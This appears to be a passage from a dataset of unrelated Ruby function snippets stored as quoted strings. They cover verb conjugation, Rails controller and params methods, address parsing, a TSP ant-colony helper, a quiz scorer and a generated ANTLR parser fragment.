prop = type_properties(type)\n type_token_length = prop[:token_length]\n\n # In `i want a car`, this will get the `i`. If the type\n # says instead that it's formed by two symbols (e.g\n # `i want`), then it will take `i want`.\n #\n # The -1 in the brackets is because otherwise it would be\n # translated to the following if the type had 1 symbol\n #\n # cause_sentence[1..1+1]\n #\n # That would take 2 words (`[1..2]`). We want one word, so\n #\n # cause_sentence[1..1+1-1]\n #\n word_for_type = cause_sentence[index..index+(type_token_length-1)]\n #ap \"> type: #{type} - #{index} #{cause_sentence[index..index+type_token_length]}\"\n\n local_candidate[:attrs][type] = word_for_type.join(\" \")\n\n # When it's just the same sentence as one seen before, no\n # generalizations\n else\n local_candidate[:score] = 1\n end\n end\n\n end\n end\n\n if local_candidate[:score] > 0\n candidates << local_candidate\n end\n end\n end\n\n # TODO - normalization is taking out some elements that are good.\n #candidates = normalize_scores(candidates)\n candidates = pick_candidates(candidates)\n candidates = merge_attributes(candidates)\n\n candidates\n end", "def passive_voice_subjunctive_mood_present_tense\n end", "def what_applies_to(*adjectives)\n adjectives = adjectives.flatten\n\n @adj_synonyms.each do |syns|\n adjectives += syns unless (adjectives & syns).empty?\n end\n\n last_adjectives = adjectives.uniq.sort\n loop do\n @adj_subtypes.keys.each do |subtype|\n adjectives += [subtype] unless (@adj_subtypes[subtype] & adjectives).empty?\n end\n\n adjectives = adjectives.uniq.sort\n break adjectives if adjectives == last_adjectives\n last_adjectives = adjectives\n end\n\n @adj_synonyms.each do |syns|\n adjectives += syns unless (adjectives & syns).empty?\n end\n adjectives = adjectives.uniq.sort\n\n adjectives\n end", "def update\n @association = Association.find(params[:id])\n # si un Hash de champ d'intervention est transmis\n if params[:champ_interventions]\n # recuperer la valeur de chaque sous-hash de params[:champ_interventions]\n params[:champ_interventions].each_value do |ci|\n ci.each_value do |c|\n # retrouver le champ d'intervention correspondant \n ci = ChampIntervention.find(c) \n # l'ajouter au tableau des champ_interventions de l'association s'il n'est pas déjà\n # inclus\n unless @association.champ_interventions.include?(ci)\n @association.champ_interventions << ci\n end\n end\n end\n end\n \n if params[:association][:app_conv] == \"0\" || params[:association][:est_employeur] == \"0\"\n params[:association][:convention_id] = nil\n elsif params[:association][:convention_id] == \"\" && !params[:conv_co].blank?\n @association.create_convention(:nom => params[:conv_co])\n end\n \n respond_to do |format|\n if @association.update_attributes(params[:association])\n flash[:notice] = \"Modifications enregistrées avec succès.\"\n format.html { redirect_to association_url(@association) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @association.errors.to_xml }\n end\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def active_voice_indicative_mood_perfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [first_person_perfect.to_s, Linguistics::Latin::Verb::LatinVerb::APERF_ENDINGS.collect{|x| substem+x.to_s}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_perfect_tense] }\n end", "def determine_exp_or_pot(candidate)\n\tputs \"Which is more important for this position: experience or potential('e' or 'p')? \"\n\texp_or_pot = gets.chomp\n\tif exp_or_pot == \"e\"\n\t\texp_or_pot = 5*candidate.convert_to_val('experience')\n\telsif exp_or_pot == \"p\"\n\t\texp_or_pot = 5*candidate.convert_to_val('has_potential')\n\telse\n\t\tprob_found\n\t\tdetermine_exp_or_pot(candidate)\n\tend\t\nend", "def meal_choice(element = \"meat\")\n element \nend", "def confirm_options\n # Postals are the easiest to find\n # Whatever is after is probably the country!\n # Whatever is before is probaby city/state\n confirm_postal\n\n # Must confirm state first\n # Because it's easier than country to detect\n # When no postal is present\n confirm_state\n confirm_country\n\n # Street number is probably the next easiest thing to find\n confirm_street_number\n confirm_street_label\n confirm_street_direction\n\n confirm_unit\n # name is between number && (label || direction)\n confirm_street_name\n # city is between (label || direction || name) && (state || postal)\n confirm_city\n end", "def process_adoption\n\n output_strings = []\n # Check to see if there are any pets available to adopt and clients added.\n # If not, no need to collect info.\n if @animals.empty?\n output_strings << \"There are no animals available to adopt at this time. Please come back again.\"\n elsif @clients.empty?\n output_strings << \"There are no clients. In order to adopt, person must be a client first.\"\n else\n # collection info needed to adopt\n puts(\"-- Collect Adoption Information --\")\n adopting_client = input_valid_client()\n animal_to_adopt = input_valid_animal()\n\n # add the pet to the client, and remove from shelter animal list\n # we know at this point, both exist\n @clients[adopting_client.name.to_sym].add_pet(animal_to_adopt)\n @animals.delete(animal_to_adopt.name.to_sym)\n\n output_strings << \"#{adopting_client.name} has provided a new home for #{animal_to_adopt.name}!\"\n end\n end", "def explain(options={})\n \"the #{options[:the]} says #{options[:says]}\"\nend", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend", "def update_mechanism\n\t\ttextos = params[:newTexts]\n\t\tif textos.nil?\n\t\t\ttextos = []\n\t\tend\n\n\t\tindex = params[:idResp].to_i\n\t\t# ES: Asigna el tipo de responsabilidad según el index:\n\t\t# EN: Assign the responsibility type according the index:\n\t\trespType = ''\n\t\tcase index\n\t\twhen 1\n\t\t\trespType = DELEG_RESP_1\n\t\twhen 2\n\t\t\trespType = DELEG_RESP_2\n\t\twhen 3\n\t\t\trespType = DELEG_RESP_3\n\t\twhen 4\n\t\t\trespType = DELEG_RESP_4\n\t\twhen 5\n\t\t\trespType = DELEG_RESP_5\n\t\tend\n \n # ES: Busca el detalle:\n # EN: Search the detail:\n\t\tdetail = MapDetail.where(\"decision_map_id = ? AND governance_decision_id = ? AND responsability_type = ?\", params[:idMap].to_i, params[:idDec].to_i, respType).first\n\t\ttxtActual = ''\n\n\t\tif detail.nil? # ES: Si no existia, lo crea: - EN: If not exist, create it:\n\t\t\tdetail = MapDetail.new\n\t \tdetail.governance_decision_id = params[:idDec].to_i\n\t \tdetail.decision_map_id = params[:idMap].to_i\n\t \tdetail.responsability_type = respType\n\t\tend\n\n # ES: Genera el nuevo texto y lo asigna\n # EN: Generates the new text and assign it\n\t\ttextos.each do |t|\n\t\t\tif txtActual == ''\n\t\t\t\ttxtActual+= t\n\t\t\telse\n\t\t\t\ttxtActual+= '|' + t\n\t\t\tend\n\t\tend\n\n\t\t# ES: La respuesta serán los mecanismos actuales:\n\t\t# EN: The answer will be the current mechanisms:\n\t\tmechsActuales = []\n\n\t\tif txtActual == ''\n\t\t\t# ES: Debe borrarlo, porque no va a tener nada\n\t\t\t# EN: Need to delete it, because will be empty\n\t\t\tMapDetail.delete(detail)\n\t\t\t# ES: Guarda el detalle:\n\t\t\t# EN: Save the detail:\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json => mechsActuales}\n\t \tend\n\t\telse\n\t\t\tdetail.complementary_mechanisms = txtActual\n\t\t\t# ES: Guarda el detalle:\n\t\t\t# EN: Save th detail:\n\t\t\trespond_to do |format|\n\t \tif detail.save # OK\n\t \t\t# ES: Obtiene los mecanismos actuales y los envia:\n\t \t\t# EN: Get the current mechanisms and send them:\n\t \t\tidMechs = txtActual.split(\"|\")\n\t \t\tmechsActuales = ComplementaryMechanism.where(id: idMechs)\n\t \t\tformat.json {render :json => mechsActuales}\n\t \telse # ERROR\n\t \t\t\tformat.json {render :json => nil}\n\t \t\tend\n\t \tend\n\t\tend\n\tend", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def adoption_params\n params.require(:adoption).permit(:comment, :approved)\n end", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def exemplifies\n if self.alternation_values_examples.any?\n self.alternation_values.first.alternation\n elsif self.coding_frame_examples.any?\n self.coding_frames.first\n elsif self.verbs.any?\n self.verbs.first\n else\n \"other\"\n end\n end", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def possible_adoption_params\n params.require(:possible_adoption).permit(:id_animal, :id_pessoa)\n end", "def verify_vote_proposal_options\n return true unless vote_proposal_options\n if status == \"preview\"\n correct_options = vote_proposal.vote_proposal_options.map(&:name)\n correct_options << \"Accept\"\n correct_options << \"Decline\"\n else\n correct_options = vote_proposal.vote_proposal_options.map(&:name)\n end\n\n vote_proposal_options.all? do |option|\n correct_options.index(option.name)\n end \n end", "def active_voice_subjunctive_mood_present_tense\n end", "def expand(infinitive)\n return nil unless (conjugations = list_by_infinitive[infinitive])\n txt = []\n past_tenses, past_participles = conjugations\n txt << \"#{infinitive} (v)\"\n txt << past_tenses.map { |v| \"#{v} (v past)\"}\n txt << past_participles.map { |v| \"#{v} (v participle)\"}\n txt.flatten.join(\"\\n\") + \"\\n\"\n end", "def decision_params\n params.require(:decision).permit(:title, :description, :author, :email, :user_id, :ratio, :state)\n end", "def engtagger_lookup sentence\n nouns, verbs = tag_sentence(sentence)\n sentence.words.graph do |word|\n pos = case word\n when ->(w){ verbs.include? w }\n \"verb\"\n when ->(w){ nouns.include? w }\n \"noun\"\n else\n \"unknown\"\n end\n [word, [pos]]\n end\n end", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def correct word\n known [word] or known(variation_words word) or [word]\n end", "def alternatives; end", "def option_types_presentation\n self.option_types.order(position: :asc).pluck(:presentation).compact.map(&:pluralize).uniq.to_sentence\n end", "def opinion_params\n params.require(:opinion).permit(:nombre, :nacionalidad, :pais, :ciudad, :comentario)\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to sentence_options_path(@option.sentence), notice: 'option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def what_is_ur_objective(sender_id)\n Bot.on :message do |message|\n answer = message.text.downcase\n if answer.include?(\"non\")\n say(sender_id, \"Okay ! N'hésite pas à revenir si tu as besoin d'aide !\")\n else\n say(sender_id, IDIOMS[:objectives], OBJECTIVES)\n handle_objective(sender_id)\n end\n end\nend", "def findOrCreateRefinedParameters(element)\n $logger.log(element.getName())\n refinedParams = []\n for relation in element.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $veRelationshipStereotype)\n req = ModelHelper.getSupplierElement(relation)\n for relation in req.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $refineStereotype)\n ce = ModelHelper.getClientElement(relation)\n if StereotypesHelper.hasStereotype(ce, $ceStereotype)\n badval = false\n constraint = ce.get_constraintOfConstrainedElement().get(0)\n expression = constraint.getSpecification().getBody().get(0)\n paramUnit = StereotypesHelper.getStereotypePropertyFirst(ce, $ceStereotype, \"unit\")\n if paramUnit.respond_to?(:name)\n paramUnit = paramUnit.name\n else\n paramUnit = \"\"\n $logger.log(ce.getName() + \": Missing unit\")\n badval = true\n end\n if expression != nil\n output = expression + \"[\" + paramUnit + \"]\"\n refinedParams.push(output)\n else \n $logger.log(ce.getName() + \": No expression found!\")\n badval = true\n end\n if badval\n reqId = StereotypesHelper.getStereotypePropertyFirst(req, $requirementStereotype, 'Id')\n $logger.log(\"Requirement Id: \" + reqId.to_s)\n end\n end\n end\n end\n end\n end\n if refinedParams.size == 0\n $logger.log(\"No refined parameters\")\n else\n original = StereotypesHelper.getStereotypePropertyFirst(element, $veStereotype, $refinedParametersProp)\n # 10.chr creates line separator for MagicDraw string view\n textBlock = refinedParams.join(10.chr)\n # Add text block to VE\n if original != textBlock\n #$logger.log(textBlock.to_s)\n StereotypesHelper.setStereotypePropertyValue(element, $veStereotype, $refinedParametersProp, textBlock)\n else\n $logger.log(\"No change in refined parameters.\")\n end\n end\nend", "def conversion_options(ingredients)\n recipe_options = [ \n { name: \"Convert recipe from flour weight\", value: 1},\n { name: \"Convert recipe from total weight\", value: 2},\n { name: \"Back to Recipe Book\", value: 3}\n ]\nconversion_options = $prompt.select(\"What would you like to do with this recipe\", recipe_options)\n case conversion_options\n when 1\n # parses ingredients to check if flour is an ingredient and updates flour_in_recipe if true\n flour_in_recipe = false\n ingredients.each do |parse_ingredients|\n if parse_ingredients.key?(\"flour\")\n flour_in_recipe = true\n end\n end\n # if flour is in recipe moves on to flour weight conversion\n if flour_in_recipe\n convert_by_flour_weight(ingredients)\n else\n # if flour is not in recipe it gives two tty-prompt options to either return to main menu to choose new recipe or edit. or to convert by flour weight instead\n no_flour_options = [\n {name: \"Return to main menu to select different recipe or edit this one\", value: 1},\n {name: \"Convert recipe from total weight instead\", value: 2}\n ]\n no_flour_choice = $prompt.select(\"This recipe does not contain flour, please choose what you would like to do instead\", no_flour_options)\n case no_flour_choice\n when 1\n main_menu(main_menu_prompt)\n when 2\n convert_by_total_weight(ingredients)\n end\n end\n # passes ingredients hash onto convert by total weight method.\n when 2\n convert_by_total_weight(ingredients)\n when 3\n # calls main_menu with argument for display recipe book option\n return_to_recipe_list\n end\nend", "def defense_charm_params\n params[:defense_charm]\n end", "def explain2(options={})\n animal = options[:the]\n sound = options[:says]\n \"the #{animal} says #{sound}\"\nend", "def pronoun_or_noun(noun, audience, options = {})\n return '' if noun.blank?\n\n options = {\n :force_pronoun => false,\n :force_noun => false,\n :capitalize => false,\n :case => Grammar::Case::SUBJECT\n }.merge(options)\n\n person = Grammar::Person::parse(noun, audience)\n\n if options[:force_noun] || (person == Grammar::Person::THIRD && !options[:force_pronoun])\n result = noun.to_s\n result += \"'s\" if options[:case] == Grammar::Case::POSSESSIVE\n else\n number = Grammar::Number::parse(noun)\n gender = options[:gender] || (Grammar::Gender::parse(noun) rescue Grammar::Gender::NEUTER)\n kase = options[:case]\n result = Grammar::Pronoun::pronoun_for(person, number, kase, gender)\n result = options[:capitalize] ? result.capitalize : result.downcase\n end\n result\n end", "def opinion_params\n params.require(:opinion).permit(:content)\n end", "def show_decision\n #@decision\n case params[:id]\n when \"1\"\n @decision = bikeshack\n init_bikeshack_reasons\n init_bikeshack_alternatives\n init_bikeshack_comments\n when \"2\"\n @decision = cafe\n init_cafe_reasons\n init_cafe_alternatives\n init_cafe_comments\n end\n @decision.description += \"\\n...\\n...\"\n\n end", "def get_advice\n \tadvice = [\n \t\t{:message => \"#{self.name.capitalize}'s blood pressure is a little high. Help #{self.gender_label} relax by sending a funny picture of #{self.gender_label} grandchildren.\", :action =>\"picture\"},\n \t\t{:message => \"#{self.name.capitalize}'s number of steps this week was below average. Encourage #{self.gender_label} to go out of the house by sending #{self.gender_label} a movie ticket.\", :action => \"gift\"},\n \t\t{:message => \"Congratulate #{self.name.capitalize} on #{self.gender_label} amazing weight loss. Send #{self.gender_label} a treat.\", :action => \"gift\"},\n \t\t{:message => \"Thinking about #{self.name.capitalize}? Give #{self.gender_label} a call to tell #{self.gender_label} you are proud of #{self.gender_label}.\", :action => \"call\"},\n \t\t{:message => \"Help #{self.name.capitalize} maintain #{self.gender_label} weight by sending a low sodium entree from #{self.gender_label} favorite restaurant.\", :action => \"food\"},\n \t\t{:message => \"Have a family event you would love #{self.name.capitalize} to attend? Send a personal driver to pick #{self.gender_label} up.\", :action => \"taxi\"},\n \t\t{:message => \"Busy with your child's first dance showcase? Lighthouse taxi will take care of #{self.name.capitalize} from pickup to drop-off.\", :action => \"taxi\"},\n \t\t{:message => \"It's time to pay it forward. Arrange a date to a cooking class. Low sodium of course!\", :action => \"gift\"}\n \t]\n\n \treturn advice[1]\n\n end", "def choice_params\n params.require(:choice).permit(:text, :correct, :dummya, :dummyb, :dummyc, :hint, :comment, :question_id)\n end", "def user_params\n if(params[:user][:opt])\n correctAns = Problem.find(params[:questionID])[:answer]\n isCorrect = (params[:user][:opt]==correctAns)?1:0\n alreadyCorrect = false\n if(@user.answerString.blank?)\n @user.answerString += (params[:questionID].to_s + \"#\" + params[:user][:opt] + \"#\" + correctAns + \"#\" + isCorrect.to_s)\n else\n prevAnsList = @user.answerString.split(\",\")\n for prevAns in prevAnsList do\n parameters = prevAns.split(\"#\")\n if((parameters[3]==\"1\") && (parameters[0]==(params[:questionID].to_s)))\n alreadyCorrect = true\n break\n end\n end\n if(!alreadyCorrect) \n @user.answerString += (\",\" + params[:questionID].to_s + \"#\" + params[:user][:opt] + \"#\" + correctAns + \"#\" + isCorrect.to_s)\n end \n end\n if(!alreadyCorrect)\n @user.score += (isCorrect==1)?2:-1\n end\n elsif (params[:questionID])\n problem = Problem.find(params[:questionID])\n correctAnsList = problem[:answer].split(\",\")\n isCorrect = 0\n if((params[:user][:answerA] == ((correctAnsList.include? \"A\")? \"1\" : \"0\")) && (params[:user][:answerB] == ((correctAnsList.include? \"B\")? \"1\" : \"0\")) && (params[:user][:answerC] == ((correctAnsList.include? \"C\")? \"1\" : \"0\")) && (params[:user][:answerD] == ((correctAnsList.include? \"D\")? \"1\" : \"0\")))\n isCorrect = 1\n end\n optAns = \"\"\n if(params[:user][:answerA]==\"1\")\n optAns += \"A*\"\n end \n if(params[:user][:answerB]==\"1\")\n optAns += \"B*\"\n end \n if(params[:user][:answerC]==\"1\")\n optAns += \"C*\"\n end \n if(params[:user][:answerD]==\"1\")\n optAns += \"D*\"\n end \n alreadyCorrect = false\n if(@user.answerString.blank?)\n @user.answerString += (params[:questionID].to_s + \"#\" + optAns + \"#\" + problem[:answer].split(',').join(';') + \"#\" + isCorrect.to_s)\n else\n prevAnsList = @user.answerString.split(\",\")\n for prevAns in prevAnsList do\n parameters = prevAns.split(\"#\")\n if((parameters[3]==\"1\") && (parameters[0]==(params[:questionID].to_s)))\n alreadyCorrect = true\n break\n end\n end\n if(!alreadyCorrect)\n @user.answerString += (\",\" + params[:questionID].to_s + \"#\" + optAns + \"#\" + problem[:answer].split(',').join(';') + \"#\" + isCorrect.to_s)\n end \n end\n if(!alreadyCorrect)\n @user.score += (isCorrect==1)?2:-1\n end\n end\n @@isCorrect = isCorrect\n @@alreadyCorrect = alreadyCorrect\n params.require(:user).permit(:name, :password, :password_confirmation, :answerString, :score)\n end", "def choose(one, two, prioritize)\n return nil if one.nil? && two.nil?\n\n case\n when one == two\n one\n when one.nil?\n two\n when two.nil?\n one\n when ACCEPTED.any? { |word| one.end_with?(word) }\n ACCEPTED.each do |word|\n one.sub!(word, '')\n end\n one\n when ACCEPTED.any? { |word| two.end_with?(word) }\n ACCEPTED.each do |word|\n two.sub!(word, '')\n end\n two\n when REJECTED.any? { |word| two.end_with?(word) }\n one\n when REJECTED.any? { |word| one.end_with?(word) }\n two\n else\n other = one == prioritize ? two : one\n puts \" #{prioritize} (#{other})\" if Viva::DEBUG\n prioritize\n end\n end", "def converged_options\n base_option = ab_test_options.first\n other_options = ab_test_options[1,99999]\n other_options.select { |opt| opt.attempts > 10 && opt.conversions > 2 }.select { |opt| opt.converged?(base_option) }\n end", "def get_meaning\n unless self.verbs.empty?\n self.verbs.first.meanings.first\n end\n end", "def calculate_choices(cities, last_city, exclude, pheromone, c_heur, c_hist)\n #Checa todas as possibildiades para se escolher a proxima cidade.\n choices = []\n #passa por todas as cidades. coord pega as coordenadas de uma dada cidade, i a posicao dela no array de cidades. o i identifica qual cidade no array � \n cities.each_with_index do |coord, i|\n #checa se a cidade ja foi visitada. as cidades visitadas esta em exclude. A cidade analisada estar no vetor exclude? Se sim, sai dessa intera��o\n\tnext if exclude.include?(i)\n \n\t#Indentifica qual cidade esta sendo analisada\n\tprob = {:city=>i}\n \n #calcula o fator historico. O c hist mostra o quanto voce considera o historico. Historico o quanto que passaram naquela cidade, e se mede isso coma matriz de pheronio. Se passaram muito por ali de maniera frequente, maior o fator de historico pois o pheromonio ali estar� muito alto\n\tprob[:history] = pheromone[last_city][i] ** c_hist\n\t# Considera o vetor distancia \n\tprob[:distance] = euc_2d(cities[last_city], coord)\n # Calcula o faotr heuristico, isso e, o quanto que a distancia vai influir nessa decisao. Quanto maior a distancia, menor a chance de se escolher\n\tprob[:heuristic] = (1.0/prob[:distance]) ** c_heur\n # Calcula a probabilidade da escolha ser escolhida. Multiplica o fator de distancia e o fator heuristico\t\n\tprob[:prob] = prob[:history] * prob[:heuristic]\n # Adiciona a escolha no vetor de escolha\n\tchoices << prob\n end\n choices\nend", "def options_for_kase(options={})\n options = options.symbolize_keys\n options.reverse_merge!({:language_code => Utility.language_code || 'en', \n :country_code => Utility.country_code || 'US'})\n options = (params[:kase] || {}).symbolize_keys.merge({:kind => params[:kind], :title => params[:title]}.reject {|k,v| v.blank?}.merge(options))\n \n # determine kind\n kind = case options[:kind] || self.kase_type.to_s\n when /problem/ then :problem\n when /idea/ then :idea\n when /praise/ then :praise\n when /question/ then :question\n end\n options.delete(:kind)\n \n options.merge!({\n :person => @person,\n :tier => @tier,\n :topics => [@topic].compact,\n :type => kind\n }.reject {|k,v| v.blank?})\n options\n end", "def update!(**args)\n @argument_composing_mid = args[:argument_composing_mid] if args.key?(:argument_composing_mid)\n @attribute_signals = args[:attribute_signals] if args.key?(:attribute_signals)\n @concept_entity_mid = args[:concept_entity_mid] if args.key?(:concept_entity_mid)\n @confidence_level = args[:confidence_level] if args.key?(:confidence_level)\n @deduped_funcalls = args[:deduped_funcalls] if args.key?(:deduped_funcalls)\n @expression_status = args[:expression_status] if args.key?(:expression_status)\n @freefolks_trigger = args[:freefolks_trigger] if args.key?(:freefolks_trigger)\n @grounding_signals = args[:grounding_signals] if args.key?(:grounding_signals)\n @high_confidence = args[:high_confidence] if args.key?(:high_confidence)\n @intent_annotation_sources = args[:intent_annotation_sources] if args.key?(:intent_annotation_sources)\n @intent_composing_mid = args[:intent_composing_mid] if args.key?(:intent_composing_mid)\n @intent_provenance = args[:intent_provenance] if args.key?(:intent_provenance)\n @intent_relevant_mid = args[:intent_relevant_mid] if args.key?(:intent_relevant_mid)\n @is_close_interpretation = args[:is_close_interpretation] if args.key?(:is_close_interpretation)\n @is_disambiguation_card_intent = args[:is_disambiguation_card_intent] if args.key?(:is_disambiguation_card_intent)\n @is_disambiguation_intent = args[:is_disambiguation_intent] if args.key?(:is_disambiguation_intent)\n @is_neural_categorical_interpretation = args[:is_neural_categorical_interpretation] if args.key?(:is_neural_categorical_interpretation)\n @is_ui_composition_intent = args[:is_ui_composition_intent] if args.key?(:is_ui_composition_intent)\n @local_signals = args[:local_signals] if args.key?(:local_signals)\n @osrp_journey_tag = args[:osrp_journey_tag] if args.key?(:osrp_journey_tag)\n @parsed_due_to_experiment = args[:parsed_due_to_experiment] if args.key?(:parsed_due_to_experiment)\n @parsing_signals = args[:parsing_signals] if args.key?(:parsing_signals)\n @prefulfillment_ranking_score = args[:prefulfillment_ranking_score] if args.key?(:prefulfillment_ranking_score)\n @prefulfillment_signals = args[:prefulfillment_signals] if args.key?(:prefulfillment_signals)\n @referential_resolution = args[:referential_resolution] if args.key?(:referential_resolution)\n @refx_summary_node_id = args[:refx_summary_node_id] if args.key?(:refx_summary_node_id)\n @response_meaning_signals = args[:response_meaning_signals] if args.key?(:response_meaning_signals)\n @result_support = args[:result_support] if args.key?(:result_support)\n @role = args[:role] if args.key?(:role)\n @selected_by_prefulfillment_ranking = args[:selected_by_prefulfillment_ranking] if args.key?(:selected_by_prefulfillment_ranking)\n @shopping_ids = args[:shopping_ids] if args.key?(:shopping_ids)\n @signals_fallback_intents = args[:signals_fallback_intents] if args.key?(:signals_fallback_intents)\n @uses_prefulfillment_ranker = args[:uses_prefulfillment_ranker] if args.key?(:uses_prefulfillment_ranker)\n end", "def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend", "def wrong_and_option(wrong, option) #function to take input of wrong word and number of options.\n $wrong_word = wrong\n $no_option = option\n end", "def kase_person_verb_type_and_time_in_words(kase, options={})\n \"%{name} %{verb_and_type} %{time}\" % {\n :name => link_to(h(kase.person.username_or_title_and_full_name), person_path(kase.person),\n options[:pcard] ? {:class => \"pcard\", :rel => member_url([@tier, kase.person], :pcard)} : {}),\n :verb_and_type => case kase.kind \n when :problem then \"reported this problem\".t\n when :question then \"asked this question\".t\n when :praise then \"gave praise\".t\n when :idea then \"shared this idea\".t\n else \"posted this case\".t\n end,\n :time => \"%{time} ago\".t % {:time => time_ago_in_words_span_tag(kase.created_at)}\n }\n end", "def handleOption(option, atualNode, optNodes, loopNodes, graph)\n\t\tatomic = option[0][0]\n\t\tif option[0].size == 1\n\t\t\toption = option[1..option.size]\n\t\telse\n\t\t\toption[0] = option[0][1..option[0].size]\n\t\tend\n\t\tif atomic[0] == '[' #option Start\n\t\t\toptNodes.push atualNode\n\t\t\thandleOption(option, atualNode, optNodes, loopNodes, graph)\n\t\telsif atomic[0] == '{' #loop Start\n\t\t\tloopNodes.push atualNode\n\t\t\thandleOption(option, atualNode, optNodes, loopNodes, graph)\n\t\telsif atomic[0] == '(' #agroup Start\n\t\telsif atomic[0] == ']' #option End\n\t\t\toptNode = optNodes.pop\n\t\t\tgraph.add_edge(optNode, atualNode)\n\t\t\thandleOption(option, atualNode, optNodes, loopNodes, graph)\n\t\telsif atomic[0] == '}' #loop End\n\t\t\tloopNode = loopNodes.pop\n\t\t\tgraph.add_edge(optNode, atualNode)\n\t\t\thandleOption(option, atualNode, optNodes, loopNodes, graph)\n\t\telsif atomic[0] == ')' #agroup End\n\t\telsif atomic[0] == \"\\\"\" or atomic[0] == \"\\'\" #literal\n\t\tend\n\tend", "def element_options\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 25)\n return_value = ElementOptionsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal118 = nil\n char_literal120 = nil\n char_literal121 = nil\n char_literal123 = nil\n char_literal125 = nil\n qid119 = nil\n option122 = nil\n option124 = nil\n\n tree_for_char_literal118 = nil\n tree_for_char_literal120 = nil\n tree_for_char_literal121 = nil\n tree_for_char_literal123 = nil\n tree_for_char_literal125 = nil\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__71\")\n stream_T__89 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__89\")\n stream_T__88 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__88\")\n stream_qid = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule qid\")\n stream_option = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule option\")\n begin\n # at line 283:2: ( '<' qid '>' -> ^( OPTIONS qid ) | '<' option ( ';' option )* '>' -> ^( OPTIONS ( option )+ ) )\n alt_59 = 2\n look_59_0 = @input.peek(1)\n\n if (look_59_0 == T__88) \n look_59_1 = @input.peek(2)\n\n if (look_59_1 == TOKEN_REF) \n look_59_2 = @input.peek(3)\n\n if (look_59_2.between?(T__89, T__90)) \n alt_59 = 1\n elsif (look_59_2 == LABEL_ASSIGN) \n alt_59 = 2\n else\n @state.backtracking > 0 and 